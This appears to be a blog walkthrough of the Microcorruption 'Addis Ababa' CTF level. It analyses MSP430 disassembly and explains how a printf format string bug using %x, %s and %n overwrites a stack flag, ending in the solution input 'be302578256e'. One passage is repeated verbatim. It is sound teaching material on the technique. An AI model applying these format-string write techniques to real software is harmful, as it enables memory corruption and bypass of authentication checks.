Next up is Addis Ababa. I was stuck on this one for a while too, but after I got Jakarta, I returned to this challenge with renewed inspiration.
Addis Ababa Software Updates
So let’s see what we’re up against. Again, they tell us that they’ve made sure that passwords cannot be too long. They also note that usernames are printed back to the user.

I thought that was the case in earlier levels, but I guess not? I checked on this and it turns out we were using puts, not printf. But wow, who has room to fit printf on a MSP430? Jealoussssss.
We also see that there’s an unconditional unlock_door function, maybe we’ll need that later. 
There’s also test_password_valid, where we call interrupt type 7D to conditionally unlock the door. The bulk of the logic is in main.
Testing Out the Length Restrictions
We’re supposed to give it a username:password formatted string.
So, if we try AAAABBBBCCCCDDDD:aaaabbbbccccddd, we see that our input was cut off in memory:

No warnings or anything, no checks. After a dozen levels, they finally got the length restrictions figured out.
That’s because of this line, which specifies 0x13 (or 19 in decimal) as the length for the getsn call.
4454: 3e40 1300 mov #0x13, r14
Okay, so what now?
Let’s have another look at main.
Addis Ababa Main
Here’s the entirety of main:
4438 <main>
4438: 3150 eaff add #0xffea, sp
443c: 8143 0000 clr 0x0(sp)
4440: 3012 e644 push #0x44e6 "Login with username:password below to authenticate.\n"
4444: b012 c845 call #0x45c8 <printf>
4448: b140 1b45 0000 mov #0x451b ">> ", 0x0(sp)
444e: b012 c845 call #0x45c8 <printf>
4452: 2153 incd sp
4454: 3e40 1300 mov #0x13, r14
4458: 3f40 0024 mov #0x2400, r15
445c: b012 8c45 call #0x458c <getsn>
4460: 0b41 mov sp, r11
4462: 2b53 incd r11
4464: 3e40 0024 mov #0x2400, r14
4468: 0f4b mov r11, r15
446a: b012 de46 call #0x46de <strcpy>
446e: 3f40 0024 mov #0x2400, r15
4472: b012 b044 call #0x44b0 <test_password_valid>
4476: 814f 0000 mov r15, 0x0(sp)
447a: 0b12 push r11
447c: b012 c845 call #0x45c8 <printf>
4480: 2153 incd sp
4482: 3f40 0a00 mov #0xa, r15
4486: b012 5045 call #0x4550 <putchar>
448a: 8193 0000 tst 0x0(sp)
448e: 0324 jz #0x4496 <main+0x5e>
4490: b012 da44 call #0x44da <unlock_door>
4494: 053c jmp #0x44a0 <main+0x68>
4496: 3012 1f45 push #0x451f "That entry is not valid."
449a: b012 c845 call #0x45c8 <printf>
449e: 2153 incd sp
44a0: 0f43 clr r15
44a2: 3150 1600 add #0x16, sp
Broadly speaking, we:
- Ask for a username and password (together)
- Use
getsto retrieve the user input, and cap it at 18 chars. Strcpythat input elsewhere.- Call
test_password_validand store the result of that for later - Printf the user’s input back to them (why?)
- Check the
test_password_validresult flag and then unlock the door or not.
In real life, we’d probably not echo sensitive data back to the user, but this is a CTF so there are exceptions. : )
Digging into printf
Since everything else seemed like a crapshoot, I decided to step through printf, one line at a time, and see how things worked.
I took notes on this line by it quickly became VERY tedious.
This is the first line that we have any control over.
4600: 6d4f mov.b @r15, r13
4602: 4d93 tst.b r13
4604: f223 jnz #0x45ea <printf+0x22>
Here’s where we jump to.
45ea: 1f53 inc r15
45ec: 7d90 2500 cmp.b #0x25, r13
45f0: 0720 jne #0x4600 <printf+0x38>
45f2: 6d9f cmp.b @r15, r13
We’re asking, “is the current char-to-be-printed equal to 0x25? If so, continue to 0x45fa. Then, is the next char equal to 0x25?”
0x25 is % in ASCII, which should look familiar to C-programmers.
If we pass that check, then… actually, I’m already tired of this. Instead of continuing to step through, I type c to continue and notice that only a few of my %’s printed up (I entered a ton of them in a row). I already sort of know the answer, since it has a conditional for %% vs any other %* combination.
In any case, the big take away here is that I’m reminded of string format vulnerabilities.
String Format Bug
What is a string format bug? Wikipedia says:
A malicious user may use the
%sand%xformat tokens, among others, to print data from the call stack or possibly other locations in memory. One may also write arbitrary data to arbitrary locations using the%nformat token, which commandsprintf()and similar functions to write the number of bytes formatted to an address stored on the stack.
Wow that last part sounds great.
I find these lecture notes and read up on the %n format token.
So, we theoretically have the ability to write arbitrary data to an arbitrary location. The question, then, is:
- What do we want to write?
- Where do we want to write it?
When I originally went through this, I made the mistake of thinking that I needed to change the flag location that the test_password_valid check is able to write to (in the case of a correct password). However, I wasn’t paying full attention and didn’t realize that the test_password_valid check had already happened, so changing that flag didn’t do anything. Still, I got plenty of practice in. 😅
What we would benefit from changing is the result of test_password_valid, which gets stored here:
4476: 814f 0000 mov r15, 0x0(sp)
And then later, after the printf, read from, here:
448a: 8193 0000 tst 0x0(sp)
448e: 0324 jz #0x4496 <main+0x5e>
4490: b012 da44 call #0x44da <unlock_door>
4494: 053c jmp #0x44a0 <main+0x68>
4496: 3012 1f45 push #0x451f "That entry is not valid."</pre>
Is the stack pointer pointing at the same spot for lines 0x4476 and 0x448a? A quick run-through says “yes”.
While we’re doing that check, let’s grab the address: 0x30be
Next, what do we want to write to the address? As just shown, we tst that byte, and then jump to “That entry is not valid” if the byte is equal to 0. Soooo… we want to write a value of anything besides 0.
To recap: we want to write a non-zero value to location 0x30be.
String Format Bugs, how do they work tho
This section was a lot of guess and check, and I returned to my previous strategy of stepping through, one line at a time. If you struggle with string format bugs, I recommend that you do the same.
Is the stack pointer pointing at the same spot for lines 0x4476 and 0x448a? A quick run-through says “yes”.
While we’re doing that check, let’s grab the address: 0x30be
Next, what do we want to write to the address? As just shown, we tst that byte, and then jump to “That entry is not valid” if the byte is equal to 0. Soooo… we want to write a value of anything besides 0.
To recap: we want to write a non-zero value to location 0x30be.
String Format Bugs, how do they work tho
This section was a lot of guess and check, and I returned to my previous strategy of stepping through, one line at a time. If you struggle with string format bugs, I recommend that you do the same.
Here’s the printf function, which is pretty long:
45c8 <printf>
45c8: 0b12 push r11
45ca: 0a12 push r10
45cc: 0912 push r9
45ce: 0812 push r8
45d0: 0712 push r7
45d2: 0412 push r4
45d4: 0441 mov sp, r4
45d6: 3450 0c00 add #0xc, r4
45da: 2183 decd sp
45dc: 1b44 0200 mov 0x2(r4), r11
45e0: 8441 f2ff mov sp, -0xe(r4)
45e4: 0f4b mov r11, r15
45e6: 0e43 clr r14
45e8: 0b3c jmp #0x4600 <printf+0x38>
45ea: 1f53 inc r15
45ec: 7d90 2500 cmp.b #0x25, r13
45f0: 0720 jne #0x4600 <printf+0x38>
45f2: 6d9f cmp.b @r15, r13
45f4: 0320 jne #0x45fc <printf+0x34>
45f6: 1f53 inc r15
45f8: 0d43 clr r13
45fa: 013c jmp #0x45fe <printf+0x36>
45fc: 1d43 mov #0x1, r13
45fe: 0e5d add r13, r14
4600: 6d4f mov.b @r15, r13
4602: 4d93 tst.b r13
4604: f223 jnz #0x45ea <printf+0x22>
4606: 0f4e mov r14, r15
4608: 0f5f add r15, r15
460a: 2f53 incd r15
460c: 018f sub r15, sp
460e: 0941 mov sp, r9
4610: 0c44 mov r4, r12
4612: 2c52 add #0x4, r12
4614: 0f41 mov sp, r15
4616: 0d43 clr r13
4618: 053c jmp #0x4624 <printf+0x5c>
461a: af4c 0000 mov @r12, 0x0(r15)
461e: 1d53 inc r13
4620: 2f53 incd r15
4622: 2c53 incd r12
4624: 0d9e cmp r14, r13
4626: f93b jl #0x461a <printf+0x52>
4628: 0a43 clr r10
462a: 3740 0900 mov #0x9, r7
462e: 4a3c jmp #0x46c4 <printf+0xfc>
4630: 084b mov r11, r8
4632: 1853 inc r8
4634: 7f90 2500 cmp.b #0x25, r15
4638: 0624 jeq #0x4646 <printf+0x7e>
463a: 1a53 inc r10
463c: 0b48 mov r8, r11
463e: 8f11 sxt r15
4640: b012 5045 call #0x4550
4644: 3f3c jmp #0x46c4 <printf+0xfc>
4646: 6e48 mov.b @r8, r14
4648: 4e9f cmp.b r15, r14
464a: 0620 jne #0x4658 <printf+0x90>
464c: 1a53 inc r10
464e: 3f40 2500 mov #0x25, r15
4652: b012 5045 call #0x4550
4656: 333c jmp #0x46be <printf+0xf6>
// handle "%s" input here
4658: 7e90 7300 cmp.b #0x73, r14
465c: 0b20 jne #0x4674 <printf+0xac>
465e: 2b49 mov @r9, r11
4660: 053c jmp #0x466c <printf+0xa4>
4662: 1a53 inc r10
4664: 1b53 inc r11
4666: 8f11 sxt r15
4668: b012 5045 call #0x4550
466c: 6f4b mov.b @r11, r15
466e: 4f93 tst.b r15
4670: f823 jnz #0x4662 <printf+0x9a>
4672: 253c jmp #0x46be <printf+0xf6>
// handle "%x" input here
4674: 7e90 7800 cmp.b #0x78, r14
4678: 1c20 jne #0x46b2 <printf+0xea>
467a: 2b49 mov @r9, r11
467c: 173c jmp #0x46ac <printf+0xe4>
467e: 0f4b mov r11, r15
4680: 8f10 swpb r15
4682: 3ff0 ff00 and #0xff, r15
4686: 12c3 clrc
4688: 0f10 rrc r15
468a: 0f11 rra r15
468c: 0f11 rra r15
468e: 0f11 rra r15
4690: 1a53 inc r10
4692: 079f cmp r15, r7
4694: 0338 jl #0x469c <printf+0xd4>
4696: 3f50 3000 add #0x30, r15
469a: 023c jmp #0x46a0 <printf+0xd8>
469c: 3f50 5700 add #0x57, r15
46a0: b012 5045 call #0x4550
46a4: 0b5b add r11, r11
46a6: 0b5b add r11, r11
46a8: 0b5b add r11, r11
46aa: 0b5b add r11, r11
46ac: 0b93 tst r11
46ae: e723 jnz #0x467e <printf+0xb6>
46b0: 063c jmp #0x46be <printf+0xf6>
// handle "%n" input here
46b2: 7e90 6e00 cmp.b #0x6e, r14
46b6: 0320 jne #0x46be <printf+0xf6>
46b8: 2f49 mov @r9, r15
46ba: 8f4a 0000 mov r10, 0x0(r15)
46be: 2953 incd r9
46c0: 0b48 mov r8, r11
46c2: 1b53 inc r11
46c4: 6f4b mov.b @r11, r15
46c6: 4f93 tst.b r15
46c8: b323 jnz #0x4630 <printf+0x68>
46ca: 1144 f2ff mov -0xe(r4), sp
46ce: 2153 incd sp
46d0: 3441 pop r4
46d2: 3741 pop r7
46d4: 3841 pop r8
46d6: 3941 pop r9
46d8: 3a41 pop r10
46da: 3b41 pop r11
46dc: 3041 ret
There’s three special cases that we’re handling: %s, %x and %n.
If we take a peek at the manual, we’ll see that those are listed in the printf section:

%x
From the lecture slides I linked earlier, they note that “%x” can be used to “view the stack” because it will print up one byte’s worth of information from the stack.
If we run the program and type “%x” we don’t see anything (at least anything printable). But, if we type “%x %x”, we see:

If we go looking for that in the printf memory regions, we see:

It’s present at both 0x30a8, and at 0x30c0. And, as it turns out, it’s also the hex equivalent of “%x”… part of our input string. Wow, trippy. Let’s pause that for now.
%s
The lecture slides also say that you can view any memory address, not just the ones next on the stack.

In their example, they use the hex values of the address they want to read, followed by %x for each byte. Then at the end, they use %s, which prints up the values located at the memory address they provided. We use the “%x” to position the memory correctly so that the %s at the end grabs the provided address and prints up the contents.
Let’s set some breakpoints at each of the special cases for %s, %x and %n (0x4658, 0x4674, and 0x46b2).
Let’s try to read from 0x2402, just for fun. So, we type: “022425782573” which is the equivalent to “x\02x\24 %x %s” (spaces added for readability).
It prints up “%x%s” which is the contents at 0x2402.

We could have read from our attack address but it’s 0x00 so we wouldn’t have seen anything interesting.
%n
Lastly, the lecture notes say that you can use %n to write the number of chars written so far into the memory address that you just described.

We know our intended attack address (0x30be) and we don’t really care what we write to it, as long as it’s more than 0. Since we will have to print more than 0 characters while doing this, we don’t have to modify our code further to have a specific number written to the address.
We previously had: 022425782573
If we swap out the first 2 bytes for the new address, modified for endianness, we have: be3025782573.
Lastly, we have to swap out the “2573”, or %s, for “256e” which is %n.
That gives us: be302578256e
Addis Ababa Solution
Type reset and then run the program and enter be302578256e to write the attack address into memory, and then write a non-zero value to it.
Now, if we stop at our breakpoint on line 0x46b2, which is:
46b2: 7e90 6e00 cmp.b #0x6e, r14
We can step through and see that we will write a value to location 0x30be.
46ba: 8f4a 0000 mov r10, 0x0(r15)
The value in red is the attack address that we wrote, which will have the content of r10 (0x02) moved into it.

I also have a breakpoint at 0x448a so I can see that the overwritten value is tested, and the door is unlocked.
To finish this level, type solve, enter “be302578256e” and you’re done!
